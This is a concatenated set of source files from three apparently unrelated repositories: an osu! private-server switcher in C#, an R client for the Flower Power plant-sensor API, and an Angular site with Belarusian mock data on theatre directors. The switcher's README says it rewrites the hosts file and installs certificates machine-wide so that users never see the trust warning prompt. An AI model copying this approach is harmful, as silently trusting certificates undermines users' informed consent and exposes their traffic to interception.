btnSwitcher.FlatAppearance.BorderSize = 2; pnlSettings.Visible = false; pnlHelp.Visible = false; pnlSwitcher.Visible = true; } private void btnHelp_Click(object sender, EventArgs e) { btnSettings.BackColor = Color.FromArgb(10, 10, 10); btnSettings.FlatAppearance.BorderSize = 0; btnSwitcher.BackColor = Color.FromArgb(10, 10, 10); btnSwitcher.FlatAppearance.BorderSize = 0; btnHelp.BackColor = Color.FromArgb(31, 31, 31); btnHelp.FlatAppearance.BorderSize = 2; pnlSettings.Visible = false; pnlSwitcher.Visible = false; pnlHelp.Visible = true; } #endregion #endregion #region Other events private void richPresenceUpdateTimer_Tick(object sender, EventArgs e) { // Get all osu instances to check if osu is running Process[] osuInstances = Process.GetProcessesByName("osu!"); // If no osu is running but a presence is set, remove that presence if (osuInstances.Length == 0 && Discord.IsPrecenseSet) Discord.RemovePresence(); else if (osuInstances.Length > 0) { // Get the current server Server currentServer = Switcher.GetCurrentServer(); // Check if either no presence is set or the current presence is a different server // If the presence is a different server, update the presence (server was switched) if (!Discord.IsPrecenseSet || Discord.ShownServer.UID != currentServer.UID) Discord.SetPresenceServer(currentServer); } } private void BorderlessDragMouseDown(object sender, MouseEventArgs e) { // Make borderless window moveable if (e.Button == MouseButtons.Left) { WinApi.ReleaseCapture(); WinApi.SendMessage(Handle, 0xA1, 0x2, 0); } } private void MainForm_FormClosing(object sender, FormClosingEventArgs e) { // If the minimize to tray option is enabled, hide the switcher, // show the tray symbol and cancel the exit if (chckbxMinimize.Checked && !m_forceclose) { e.Cancel = true; notifyIcon.Visible = true; Hide(); } } protected override void WndProc(ref Message m) { // Override the wndproc event to receive messages from other switcher instances (quick switch, multi instance, ...) if (m.Msg == NativeMethods.WM_WAKEUP) // Called by a second switcher instance to tell this switcher to get to the foreground { // If the switcher is not minimized to the system tray, just focus it; otherwise simulate a click on the notify icon if (Visible) Focus(); else notifyIcon_MouseClick(notifyIcon, new MouseEventArgs(MouseButtons.Left, 0, 0, 0, 0)); } else base.WndProc(ref m); } #endregion private void UpdateUI() { // Get the current server to update the UI Server currentServer = Switcher.GetCurrentServer(); // If the server the user is currently connected to unidentified the icon of the server cannot be shown // because its unknown. Otherwise show the icon of the current connected server pctrCurrentServer.Image = currentServer.IsUnidentified ? null : currentServer.Icon; // Show the image of the server that is currently selected pctrCurrentSelectedServer.Image = m_currentSelectedServer.Icon; // Show the connect / already connected button whether the currently selected server // is the one the user is connected to or not btnConnect.Visible = m_currentSelectedServer.UID != currentServer.UID; pctrAlreadyConnected.Visible = m_currentSelectedServer.UID == currentServer.UID; // Show the left and right arrow whether the index allows to go to the left or right btnRight.Visible = m_currentSelectedServerIndex < Switcher.Servers.Count - 1; btnLeft.Visible = m_currentSelectedServerIndex > 0; // Set the info text to the name of the current selected server lblInfo.Text = m_currentSelectedServer.ServerName; // Change the color of the server name depending on if the server is featured or not lblInfo.ForeColor = m_currentSelectedServer.IsFeatured ? Color.Orange : Color.White; // Show the verified badge depending on if the server is featured or not pctrVerified.Visible = m_currentSelectedServer.IsFeatured; // Get a graphics object to measure the size to the info text // in order to position the verified badge next to the text Graphics g = CreateGraphics(); // Measure the size of the text SizeF textSize = g.MeasureString(m_currentSelectedServer.ServerName, lblInfo.Font); // Set the location, x is the middle of the panel + half the text - 5 // to position the verified badge next to the next (-5 to make the distance less) pctrVerified.Location = new Point(pnlSwitcher.Width / 2 + (int)textSize.Width / 2 - 5, pctrVerified.Location.Y); } } }<file_sep><a href="https://minisbett.github.io/ultimate-osu-server-switcher/discord.html"><img src="https://discordapp.com/api/guilds/715149105525030932/widget.png"></a> <a href="https://minisbett.github.io/ultimate-osu-server-switcher"><img width=128 height=128 align="right" src="https://minisbett.github.io/ultimate-osu-server-switcher/images/icon.png"></a> # Ultimate Osu Server Switcher The Ultimate Osu Server Switcher is a server switcher that allows you to switch between osu!bancho and a variety of private servers. You can [add your server](https://minisbett.github.io/ultimate-osu-server-switcher#how-to-add-a-server) and [get your server featured](https://minisbett.github.io/ultimate-osu-server-switcher/#get-your-server-featured-partnership) in a partnership. # How it works The Program fetches all its informations from the data/data.json file, which means its fully expandable even without a software update. Switching to a different server or even bancho itself is fairly simple. You just choose the server you want to connect to from a list and click the «Connect» button. # How to add a server > **As of the 05/29/2020 every server's owner now needs to be member of our discord server as it is a requirement for our management!** > **Thank you for your understanding.** If you wish to add a server, please follow these steps: 1. Ask the server owner (if not you) if it's okay to add their server to our switcher. 2. Collect the following data: - The server name - The server's website url - The server's ip-address - The certificate - The discord tag of the server owner (We need to verify that he is on our discord server) - The certificate thumbprint (can be grabbed with our thumbprint reader, see releases) <br> NOTE: The certificate should be base64 encoded (.cer file extension) <br> If your certificate has the file extension .crt, use [this tutorial](https://support.comodo.com/index.php?/Knowledgebase/Article/View/361/17/how-do-i-convert-crt-file-into-the-microsoft-cer-format) to convert the .crt certificate to a .cer certificate. - The server icon (It should be sized 48x48 due to performance) 3. Create an issue **with the label "server request"**. Please do not create a pull request as it would break our workflow. Thanks :) # Get your server featured (Partnership) **Currently we do not feature servers as we need to keep this state something special.** To expand the switcher and to gain popularity, partnerships are welcome! If you and your private server want to help us please DM us on Discord! > minisbett#8873 > > Julaaaan#7635 We will offer a feature icon ⭐ before your server name in the switcher and your server will be put to the top of the list. In return for that we want you to offer our switcher as a second option on your switcher's download site. More details can be discussed on Discord. # In-deep explination The server you are currently playing on is estimated by the ip that is deposited in the hosts file. Switching a server includes deinstalling all certificates, modfying the hosts file, followed by installing the corresponding certificate (if you chose to play on a third-party server). The certificates will be installed on the local machine, rather than just the local user to avoid a warning prompt the user has to agree with. This improves the switching agility to garantue the best user experience. # Current servers > > Currently the following servers are listed: > > - [osu!bancho](https://osu.ppy.sh/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/bancho.png?raw=true"> > - [Ripple](https://ripple.moe/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/ripple.png?raw=true"> > - [EZPPFarm](https://ez-pp.farm/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/ezppfarm.png?raw=true"><sup>⭐</sup> > - [osu!Ainu](https://ainu.pw/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/ainu.png?raw=true"> > - [Kurikku](https://kurikku.pw/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/kurikku.png?raw=true"><sup>⭐</sup> > - [Akatsuki](https://akatsuki.pw/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/akatsuki.png?raw=true"> > - [osu!Gatari](https://gatari.pw/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/gatari.png?raw=true"><sup>⭐</sup> > - [RealistikOsu!](https://ussr.pl/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/realistikosu.png?raw=true"> > - [Enjuu](https://enjuu.click/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/enjuu.png?raw=true"> > - [Kawata](https://kawata.pw/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/kawata.png?raw=true"> > - [Astellia](https://astellia.club/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/astellia.png?raw=true"> > - [Horizon](https://lemres.de/)<img width="16" height="16" src="https://github.com/MinisBett/ultimate-osu-server-switcher/blob/master/data/icons/horizon.png?raw=true"> # GUI We have a light theme and a dark theme. You can toggle between them in the bottom right corner of the about tab. ![Light theme](https://minisbett.github.io/ultimate-osu-server-switcher/images/light.png) ![Dark theme](https://minisbett.github.io/ultimate-osu-server-switcher/images/dark.png)
72053e174e22fadc0bf8fdfc0a5cae19e9116be2
[ "Markdown", "C#" ]
17
C#
Ayreth/ultimate-osu-server-switcher
17189ff5966ecbdd8d03f9b31086b081fef15345
2578b9781db1d5bf1897122b5ed448b6591916df
refs/heads/master
<file_sep>% Generated by roxygen2 (4.1.1): do not edit by hand % Please edit documentation in R/flowerpower.R \name{get_samples.flowerpower} \alias{get_samples.flowerpower} \title{Get data samples.} \usage{ \method{get_samples}{flowerpower}(obj, location) } \arguments{ \item{obj}{a flowerpower object} \item{location}{a location identifier} } \description{ Get data samples. } <file_sep> #' @importFrom httr GET content http_status stop_for_status add_headers #' @importFrom lubridate ymd_hms as.period now days NULL <file_sep>## flowerpower — access Parrot's Flower Power Sensor from R [![Travis-CI Build Status](https://travis-ci.org/vsbuffalo/flowerpower.png?branch=master)](https://travis-ci.org/vsbuffalo/flowerpower) ![timeseries plot of temperature data from FlowerPower unit](https://raw.githubusercontent.com/vsbuffalo/flowerpower/master/inst/extdata/example.png) An R package to access data from Parrot's awesome [Flower Power sensor](http://www.parrot.com/usa/products/flower-power/). This is still in **alpha**. FlowerPower's API is a bit strange and requires *a lot* of authentication keys, including your username and password to the FlowerPower site (not the dev portal). Here is an example: > fp <- flowerpower(user, pass, id, secret) > get_locations(fp) # get location IDs > s <- get_samples(fp, location='1W2zIGfgEF14220_YOURLOCATIONKEY') > head(s) capture_ts par_umole_m2s air_temperature_celsius vwc_percent 1 2015-03-10 21:49:00 12.607764 30.45476 17.04505 2 2015-03-10 22:04:00 11.928668 29.37226 16.63505 3 2015-03-10 22:19:00 8.715568 28.45192 16.44611 4 2015-03-10 22:34:00 11.429752 28.15554 15.81059 5 2015-03-10 22:49:00 7.567640 28.86598 16.66856 6 2015-03-10 23:04:00 7.066480 28.31073 16.91436 > p <- ggplot(s) + geom_line(aes(x=capture_ts, y=air_temperature_celsius)) > p <- p + xlab("time") + ylab("temperature (C)") > p There's also a `get_fertilizer()` function to access these data. ### Design An R6 class stores state and lower-level methods for getting data from the server, and higher-level S3 methods call these methods and reshape results. Users interact with these higher-level functions, but I leave the object methods public for developers that want to do their own hacking. ### Todo - Refresh auth token. <file_sep>% Generated by roxygen2 (4.1.1): do not edit by hand % Please edit documentation in R/flowerpower.R \name{get_fertilizer.flowerpower} \alias{get_fertilizer.flowerpower} \title{Get fertilizer samples.} \usage{ \method{get_fertilizer}{flowerpower}(obj, location) } \arguments{ \item{obj}{a flowerpower object} \item{location}{a location identifier} } \description{ Get fertilizer samples. } <file_sep>% Generated by roxygen2 (4.1.1): do not edit by hand % Please edit documentation in R/flowerpower.R \name{get_locations.flowerpower} \alias{get_locations.flowerpower} \title{Get all sensor locations} \usage{ \method{get_locations}{flowerpower}(obj, location = NULL) } \arguments{ \item{obj}{a flowerpower object} \item{location}{a location identifier} } \description{ Get all sensor locations } <file_sep>% Generated by roxygen2 (4.1.1): do not edit by hand % Please edit documentation in R/flowerpower.R \name{get_samples} \alias{get_samples} \title{Get data samples.} \usage{ get_samples(obj, location) } \arguments{ \item{obj}{a flowerpower object} \item{location}{a location identifier} } \description{ Get data samples. } <file_sep>% Generated by roxygen2 (4.1.1): do not edit by hand % Please edit documentation in R/flowerpower.R \name{get_locations} \alias{get_locations} \title{Get all sensor locations} \usage{ get_locations(obj, location = NULL) } \arguments{ \item{obj}{a flowerpower object} \item{location}{a location identifier} } \description{ Get all sensor locations } <file_sep># flowerpower.R ##' @importFrom R6 R6Class # suppress warnings; TODO: not optimal options(lubridate.verbose = FALSE) FPDEBUG <- FALSE stop_for_status <- function(x) { # a switch to catch HTTP errors when in debug mode if (FPDEBUG) if (!httr::successful(x)) { print(x) browser() } httr::stop_for_status(x) } # URL stuff FPAPI_ROOT <- "https://apiflowerpower.parrot.com/" fpurl <- function(path) paste0(FPAPI_ROOT, path) FPAPI_GETLOCS <- fpurl("sensor_data/v3/sync") FPAPI_GETSAMPS <- fpurl("sensor_data/v2/sample/location/") FPAPI_AUTH <- fpurl("user/v1/authenticate") # Internal function to create data ranges (since max date span is 10 days) date_ranges <- function(from, to=now(), interval=days(9)) { n <- ceiling(as.period(to - from)/interval) out <- vector('list', n) last <- from for (i in seq_len(n)) { out[[i]] <- c(last, last + interval) last <- last + interval } out } unfold_list <- function(x, el) { # take a list of elements, extract and bind an inner list of list of rows # #yodawg #ihatenestedlists out <- do.call(rbind, lapply(x, function(u) { as.data.frame(do.call(rbind, u[[el]])) })) out } # All internal methods are in R6, API funs in S3 flowerpower_factory <- R6::R6Class( "flowerpower", public=list( keys=NULL, auth_header=NULL, token=NULL, locations=list(), last_sync=NULL, auth=function() { auth_query <- c(list(grant_type='password'), self$keys) r <- GET(FPAPI_AUTH, query=auth_query) stop_for_status(r) self$token <<- content(r)$access_token authkey <- sprintf("Bearer %s", self$token) self$auth_header <<- add_headers(Authorization=authkey) self }, initialize=function(user, pass, client_id, client_secret) { self$keys <<- list(username=user, password=<PASSWORD>, client_id=client_id, client_secret=client_secret) self$auth() }, is_auth=function() { return(!is.null(self$token)) }, sync=function() { # server sync request; for location other data r <- GET(FPAPI_GETLOCS, self$auth_header) stop_for_status(r) cont <- content(r) self$last_sync <<- cont cont }, get_data=function(location, from=NULL, to=NULL) { # NOTE: returns list of each time range (lower-level fun) if (!is.null(from) || !is.null(to)) stop("not implemented") # plant assigned date is earliest date assigned_data <- ymd_hms(get_locations(self, location)$plant_assigned_date) rngs <- date_ranges(assigned_data, interval=days(10)) out_lst <- lapply(rngs, function(rng) { rng <- as.character(rng) qry <- list(from_datetime_utc=rng[1], to_datetime_utc=rng[2]) locurl <- paste0(FPAPI_GETSAMPS, location) r <- GET(locurl, query=qry, self$auth_header) stop_for_status(r) cnt <- content(r) cnt }) # now, merge all list elements (across date ranges) samples <- unfold_list(out_lst, 'samples') fertilizer <- unfold_list(out_lst, 'fertilizer') merged <- out_lst merged$samples <- samples merged$fertilizer <- fertilizer merged }, check_sync=function() { if (is.null(self$last_sync)) self$sync() } )) #' Create new API connection to Parrot's FlowerPower sensor #' #' @param user username #' @param pass <PASSWORD> #' @param client_id client identifier #' @param client_secret client secret key #' @export flowerpower <- function(user, pass, client_id, client_secret) { flowerpower_factory$new(user, pass, client_id, client_secret) } #' Get all sensor locations #' #' @param obj a flowerpower object #' @param location a location identifier #' #' @export get_locations <- function(obj, location=NULL) { UseMethod("get_locations") } #' Get all sensor locations #' #' @param obj a flowerpower object #' @param location a location identifier #' #' @export get_locations.flowerpower <- function(obj, location=NULL) { obj$check_sync() ignore_cols <- c("images", "display_order", "avatar_url", "ignore_fertilizer_alert", "ignore_light_alert", "ignore_moisture_alert", "ignore_temperature_alert") tmp <- do.call(rbind, lapply(obj$last_sync$locations, function(x) { data.frame(x[setdiff(names(x), ignore_cols)], stringsAsFactors=FALSE) })) if (!is.null(location)) return(tmp[tmp$location_identifier == location, ]) tmp$plant_assigned_data <- ymd_hms(tmp$plant_assigned_date) tmp } #' Get data samples. #' #' @param obj a flowerpower object #' @param location a location identifier #' #' @export get_samples <- function(obj, location) { UseMethod("get_samples") } #' Get data samples. #' #' @param obj a flowerpower object #' @param location a location identifier #' #' @export get_samples.flowerpower <- function(obj, location) { obj$check_sync() dt <- obj$get_data(location) out <- dt$samples out$capture_ts <- ymd_hms(out$capture_ts) out } #' Get fertilizer samples. #' #' @param obj a flowerpower object #' @param location a location identifier #' #' @export get_fertilizer <- function(obj, location) { UseMethod("get_fertilizer") } #' Get fertilizer samples. #' #' @param obj a flowerpower object #' @param location a location identifier #' #' @export get_fertilizer.flowerpower <- function(obj, location) { obj$check_sync() dt <- obj$get_data(location) out <- dt$fertilizer out$watering_cycle_end_date_time_utc <- ymd_hms(out$watering_cycle_end_date_time_utc) out$watering_cycle_start_date_time_utc <- ymd_hms(out$watering_cycle_start_date_time_utc) out } <file_sep>% Generated by roxygen2 (4.1.1): do not edit by hand % Please edit documentation in R/flowerpower.R \name{get_fertilizer} \alias{get_fertilizer} \title{Get fertilizer samples.} \usage{ get_fertilizer(obj, location) } \arguments{ \item{obj}{a flowerpower object} \item{location}{a location identifier} } \description{ Get fertilizer samples. } <file_sep>% Generated by roxygen2 (4.1.1): do not edit by hand % Please edit documentation in R/flowerpower.R \name{flowerpower} \alias{flowerpower} \title{Create new API connection to Parrot's FlowerPower sensor} \usage{ flowerpower(user, pass, client_id, client_secret) } \arguments{ \item{user}{username} \item{pass}{<PASSWORD>} \item{client_id}{client identifier} \item{client_secret}{client secret key} } \description{ Create new API connection to Parrot's FlowerPower sensor }
29061a63eb18119ccde9d39b84defcfc561ec233
[ "Markdown", "R" ]
10
R
samberger/flowerpower
08f1cf839a5535b511dbecf35c5a05cf1cae8cc8
b7587dc42024bb27fb8e1a03fd1b81c19a0a7214
refs/heads/master
<repo_name>ahndy84/smayouth<file_sep>/settings.gradle rootProject.name = 'smayouth' <file_sep>/src/main/java/com/salt/smayouth/domain/member/Member.java package com.salt.smayouth.domain.member; import lombok.Getter; import lombok.Setter; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.Id; @Entity @Getter @Setter public class Member { @Id @GeneratedValue private Long id; private String uesrname; }
5f6628ebdba29290aaaad085a4f59fed07ed8645
[ "Java", "Gradle" ]
2
Gradle
ahndy84/smayouth
e736d46882ec5b57fc8ebeeae360b26c1948079d
ddd352144e39b59235f8dadc9eb06eab8ff3cb1e
refs/heads/master
<file_sep>import { Component, OnInit, AfterViewInit, ViewChild, ElementRef } from '@angular/core'; import { Directors } from '@shared/mock-data/mock.directors'; import { Director } from '@shared/models/director'; import { Observable, fromEvent } from 'rxjs'; import { map, filter, debounceTime } from 'rxjs/operators'; import { SearchService } from '../../services/search.service'; import { TranslateService } from '@ngx-translate/core'; import { LanguageService } from '@core/services/language.service'; import { NgxSpinnerService } from 'ngx-spinner'; @Component({ selector: 'app-all-directors', templateUrl: './all-directors.component.html', styleUrls: ['./all-directors.component.scss'] }) export class AllDirectorsComponent implements OnInit, AfterViewInit { public allDirectors: Director[]; public input: Observable<Event>; @ViewChild('searchQuery') public searchQuery: ElementRef; constructor( private searchService: SearchService, private translate: TranslateService, private languageService: LanguageService, private spinnerService: NgxSpinnerService) { this.languageService.getLanguage().subscribe(lang => { this.translate.use(lang); }); } ngOnInit(): void { this.searchService.observeSearch.subscribe( arrOfDirectors => this.allDirectors = arrOfDirectors ); this.translate.setDefaultLang('EN'); this.spinner(); } public ngAfterViewInit(): void { this.input = fromEvent(this.searchQuery.nativeElement, 'keyup'); this.input.pipe( map(event => (event.target as HTMLInputElement).value), map(inputStr => { if (inputStr.length > 2) { return inputStr; } else { return ''; } }), debounceTime(500) ).subscribe( str => { this.searchService.getSearchResult(str); } ); } private spinner(): void { this.spinnerService.show(); setTimeout(() => { this.spinnerService.hide(); }, 0); } } <file_sep>// tslint:disable:max-line-length import { Director } from '@shared/models/director'; export const Directors: Director[] = [ { name: 'Еўсцiгней', surname: 'Miровiч', id: '1', yearsOfLife: '29 ліпеня [10 жнiўня], 1878 - 25 лютага, 1952', birthPlace: 'Санкт-Пецярбург, Расійская імперыя', generalInfo: 'расійскі і беларускі савецкі акцёр, рэжысёр, драматург, педагог, прафесар (1945). Народны артыст Беларускай ССР (1940).', biography: [ { date: '1900', content: 'Прафесійную сцэнічную дзейнасць пачаў у 1900 году ў Пецярбургу як акцёр і рэжысёр. Гуляў у Адміралцейскім, Екацярынінскім, Кранштацкай тэатрах, з 1910 у тэатрах мініяцюр: Траецкім, інтымныя, Ліцейным.', }, { date: '1921—1931', content: 'Пачаў працаваць у тэатрах Беларусі. Мастацкі кіраўнік Беларускага дзяржаўнага драматычнага тэатра ў Мінску.', }, { date: '1937—1940 ', content: 'Мастацкі кіраўнік Беларускага тэатра юнага гледача імя Н. Крупскай.', }, { date: '1941—1945', content: 'рэжысёр 1-га Беларускага дзяржаўнага драматычнага тэатра ў Мінску (цяпер - Нацыянальны акадэмічны тэатр імя Янкі Купалы).', }, { date: '1945', content: ' Мастацкі кіраўнік і загадчык кафедры майстэрства акцёра Беларускага тэатральна-мастацкага інстытута. Прафесар. Займаўся таксама выкладчыцкай дзейнасцю ў тэатральных студыях, у Мінскім тэатральным вучылішчы.', }, ], listOfWorks: [ { date: '1923', work: 'Кастусь Калiновскi', }, { date: '1927', work: 'Мяцеж', }, { date: '1937', work: 'Як гартавалася сталь', }, { date: '1939', work: 'Цудоўная дудка', }, ], photos: [ '../assets/images/mirovich1.jpg', '../assets/images/mirovich2.jpg', '../assets/images/mirovich3.jpg', '../assets/images/mirovich4.jpg', '../assets/images/mirovich5.jpg', ], videos: ['https://www.youtube.com/watch?v=Yunms45xnog&feature=emb_logo'], placesOfActivity: [ { activity: '1-шы Беларускі дзяржаўны драматычны тэатр у Мінску (цяпер - Нацыянальны акадэмічны тэатр імя Янкі Купалы)', center: [53.90088357066573, 27.562774500000007], }, ], }, { name: 'Ларыса', surname: 'Александроўская', id: '2', generalInfo: 'беларуская, савецкая оперная спявачка (сапрана), рэжысёр, публіцыст, грамадскі дзеяч. Народная артыстка СССР (1940).', yearsOfLife: '2 лютага [15 лютага], 1902 - 23 траўня, 1980', birthPlace: 'Мінск, Расійская імперыя', biography: [ { date: '1924-1928', content: 'Вучылася ў Мінскім музычным тэхнікуме, у 1928 - у спецыяльным оперным класе.', }, { date: '1933 - 1951', content: 'Салістка Беларускага тэатра оперы і балета ў Мінску. Выконвала як сапранавага, так і мецца-сапранавага партыі. Падчас вайны выступаў з канцэртамі на франтах, у шпіталях і ў партызанскіх атрадах.', }, { date: '1951—1960 ', content: "Была адначасова і галоўным рэжысёрам Беларускага тэатра оперы і балета. У год ёй атрымоўвалася выпускаць па два прэм'ерных спектакля.", }, { date: '1946—1980', content: 'Ініцыятар стварэння і нязменны старшыня праўлення Беларускага тэатральнага грамадства.', }, ], listOfWorks: [ { date: '1951', work: 'Ціхі Дон', }, { date: '1953', work: 'Аiда', }, { date: '1954', work: 'Барыс Гадуноў', }, { date: '1955', work: 'Трубадур', }, { date: '1960', work: 'Пікавая дама', }, ], photos: [ '../assets/images/aleksandrovskaya1.jpg', '../assets/images/aleksandrovskaya2.jpg', '../assets/images/aleksandrovskaya3.jpg', '../assets/images/aleksandrovskaya4.jpg', '../assets/images/aleksandrovskaya5.jpg', ], videos: ['https://www.youtube.com/watch?v=v3LC9JtorMM'], placesOfActivity: [ { activity: 'Беларускі тэатр оперы і балета', center: [53.91074407066195, 27.561848999999974], }, ], }, { name: 'Барыс', surname: 'Луценка', id: '3', generalInfo: 'савецкі і беларускі рэжысёр-пастаноўшчык тэатра і кіно. Народны артыст Рэспублікі Беларусь (1995). Заслужаны дзеяч мастацтваў Беларускай ССР (1975).', yearsOfLife: '16 верасня, 1937 - 5 лютага, 2020', birthPlace: 'Майкоп, Краснадарскі край, РСФСР, СССР', biography: [ { date: '1967', content: 'Скончыў Беларускі дзяржаўны тэатральна-мастацкі інстытут (курс Заслужанага дзеяча мастацтваў Беларускай ССР В. А. Маланкіна).', }, { date: '1967—1973, 1981—1982', content: 'Працаваў рэжысэрам Нацыянальнага акадэмічнага тэатра імя Я. Купалы.', }, { date: '1973—1981', content: 'Працаваў галоўным рэжысёрам Дзяржаўнага рускага драматычнага тэатра Беларускай ССР.', }, { date: '1991-2008, 2008-2020', content: 'Мастацкі кіраўнік, а затым рэжысёр-пастаноўшчык Нацыянальнага акадэмічнага драматычнага тэатра імя <NAME>.', }, ], listOfWorks: [ { date: '1974', work: 'У. Шэкспір «Макбет»', }, { date: '1975', work: 'А. Твардоўскі «Васіль Цёркін»', }, { date: '1976', work: 'М. Горкі «Апошнія»', }, { date: '1978', work: 'В. Быкаў «Пайсці і не вярнуцца»', }, { date: '1997', work: 'Я. Купала «Раскіданае гняздо»', }, { date: '2002', work: 'Я. Купала «Сон на кургане»', }, ], photos: [ '../assets/images/lucenko1.jpg', '../assets/images/lucenko2.jpg', '../assets/images/lucenko4.jpg', ], videos: ['https://www.youtube.com/watch?v=wM-HkQ59usY'], placesOfActivity: [ { activity: 'Нацыянальны акадэмічны драматычны тэатр імя <NAME>', center: [53.89840557065936, 27.551131999999964], }, ], }, { name: 'Iгнат', surname: 'Буйнiцкi', id: '4', yearsOfLife: '10 [22] жнiўня, 1861 - 9 [22] верасня, 1917', birthPlace: 'сядзіба Поливачи Прозорокской воласці (Глыбоцкі раён Віцебскай вобласці)', generalInfo: 'беларускі акцёр, рэжысёр, тэатральны дзеяч, заснавальнік першага прафесійнага нацыянальнага беларускага тэатра.', biography: [ { date: '1907', content: 'Разам з дочкамі Вандай і Аленай, а таксама са сваімі блізкімі сябрамі стварыў у фальварку Поливачи аматарскую трупу. Асаблівасцю выступленняў было тое, што са сцэны гучала беларуская мова, выконваліся знаёмыя простым людзям народныя танцы.', }, { date: '1910', content: 'На яе аснове была сфарміравана пастаянная група і пачаты працяглыя гастролі па Беларусі.', }, { date: '1913', content: 'Буйніцкі арганізаваў Прозорокское беларускае крэдытнае таварыства, у якім кожны селянін пад невялікі працэнт мог атрымаць пазыку.', }, { date: '1914—1916', content: 'Буйніцкі прымаў актыўны ўдзел у дзейнасці віленскага таварыства «У дапамогу фронту».', }, { date: '1917', content: 'Быў адным з ініцыятараў стварэння «Першага таварыства беларускай драмы і камедыі» ў Мінску, на базе якога паўстаў Нацыянальны акадэмічны тэатр імя Янкі Купалы.', }, { date: '1917', content: 'Адправіўся на Заходні фронт Першай сусветнай вайны.', }, ], listOfWorks: [ { date: '1913', work: '«Лявонiха»', }, { date: '1914', work: '«Дуда-весялуха»', }, { date: '1914', work: '«Па рэвізіі» М. Крапіўніцкі', }, { date: '1916', work: '«Модны шляхцюк» К. Каганца', }, ], photos: ['../assets/images/bujnicki1.jpg', '../assets/images/bujnicki4.jpg'], videos: ['https://www.youtube.com/watch?v=ACDGr4TUkvs'], placesOfActivity: [ { activity: 'сядзіба Поливачи Прозорокской воласці (Глыбоцкі раён Віцебскай вобласці)', center: [55.18449707014662, 27.862847499999972], }, ], }, { name: 'Леон', surname: 'Рахленка', id: '5', yearsOfLife: '6 [19] верасня, 1907 - 9 сакавiка, 1986', birthPlace: 'пас. Церахоўка, Гомельскі павет, Магілёўская губерня, Расійская імперыя', generalInfo: 'савецкі акцёр, рэжысёр, педагог. Народны артыст СССР (1966).', biography: [ { date: '1924—1927', content: 'Вучыўся ў Ленінградскім тэхнікуме сцэнічных мастацтваў (вучань Л.С. Вивьена і С.Э. Радлова).', }, { date: '1926-1927', content: 'Артыст і асістэнт рэжысёра Ленінградскага працоўнага тэатра Пралеткульта.', }, { date: '1927-1928', content: 'Мастацкі кіраўнік тэатральнай рабочай студыі Кіеўскага Савета прафсаюзаў.', }, { date: '1929—1981', content: 'Акцёр і рэжысёр (з 1935) (у 1938-1943 гадах - загадчык мастацкай часткай) Тэатра ім. <NAME> ў Мінску. Рэжысёрскую дзейнасць пачаў пад кіраўніцтвам <NAME>.', }, ], listOfWorks: [ { date: '1938', work: '«Партызаны» К. Крапівы', }, { date: '1942', work: '«Фронт» <NAME>', }, { date: '1943', work: '«Рускія людзі »<NAME>', }, { date: '1956', work: '«Крамлёўскія куранты» <NAME>', }, { date: '1957', work: '«Навальнічны год» <NAME>', }, ], photos: ['../assets/images/rahlenko1.jpg', '../assets/images/rahlenko3.jpg'], videos: ['https://www.youtube.com/watch?v=kimvRGqEe-U'], placesOfActivity: [ { activity: '1-шы Беларускі дзяржаўны драматычны тэатр у Мінску (цяпер - Нацыянальны акадэмічны тэатр імя Янкі Купалы)', center: [53.90088357066573, 27.562774500000007], }, ], }, { name: 'Ўладзiмiр', surname: 'Цезаўроўскi', id: '6', yearsOfLife: '1880 - 1955', birthPlace: 'Ліўны, Арлоўская губерня, Расійская імперыя', generalInfo: 'савецкі акцёр і рэжысёр, Заслужаны артыст РСФСР (1945 г.).', biography: [ { date: '1901', content: 'Сустрэўся з Неміровіча-Данчанкі і стаў працаваць у яго тэатры.', }, { date: '1905', content: 'Скончыў мастацкую школу пры тэатры і адразу быў прыняты ў асноўную трупу тэатра.', }, { date: '1905—1918', content: 'Акцёр МХТ. У 1918 году арганізаваў у Адэсе мастацкую студыю. Затым працаваў як рэжысёр у тэатры Массодрам (Адэса).', }, { date: '1917', content: 'Зняў свой адзіны нямы мастацкі фільм у 4 частках «Жанчына без галавы».', }, { date: '1941—1946', content: 'Галоўны рэжысёр Маскоўскага абласнога тэатра юнага гледача.', }, { date: '1925', content: 'Рэжысёр-адміністратар Опернай студыі <NAME>слаўскага ў Маскве. Кіраваў операй у Мінску і Тыфлісе. Быў першым оперным рэжысёрам і заснавальнікам беларускай оперы.', }, ], listOfWorks: [ { date: '1925', work: '«Залаты пеўнік» (М.Рымскага-Корсакаў)', }, { date: '1926', work: '«Яўген Анегін» (П.Чайкоўскі)', }, { date: '1917', work: '«Жанчына без галавы»', }, { date: '1930', work: '«Беднасць не загана» (А.Астроўскага)', }, ], photos: [ '../assets/images/tezavrovski1.jpg', '../assets/images/tezavrovski3.jpg', '../assets/images/tezavrovski4.jpg', '../assets/images/tezavrovski5.jpg', ], videos: ['https://www.youtube.com/watch?v=nK_FVB1d_RM'], placesOfActivity: [ { activity: 'Маскоўскі акадэмічны Музычны тэатр <NAME>іслаўскага і У. І. Неміровіча-Данчанкі', center: [55.764520568969374, 37.61039499999998], }, ], }, ]; <file_sep>import { Component, Input, OnInit } from '@angular/core'; import { Router } from '@angular/router'; import { TranslateService } from '@ngx-translate/core'; import { LanguageService } from '@core/services/language.service'; @Component({ selector: 'app-developer-item', templateUrl: './developer-item.component.html', styleUrls: ['./developer-item.component.scss'], }) export class DeveloperItemComponent implements OnInit { @Input() developer; constructor( private router: Router, private translate: TranslateService, private languageService: LanguageService, ) { this.languageService.getLanguage().subscribe(lang => { this.translate.use(lang); }); } public ngOnInit(): void { this.translate.setDefaultLang('EN'); } } 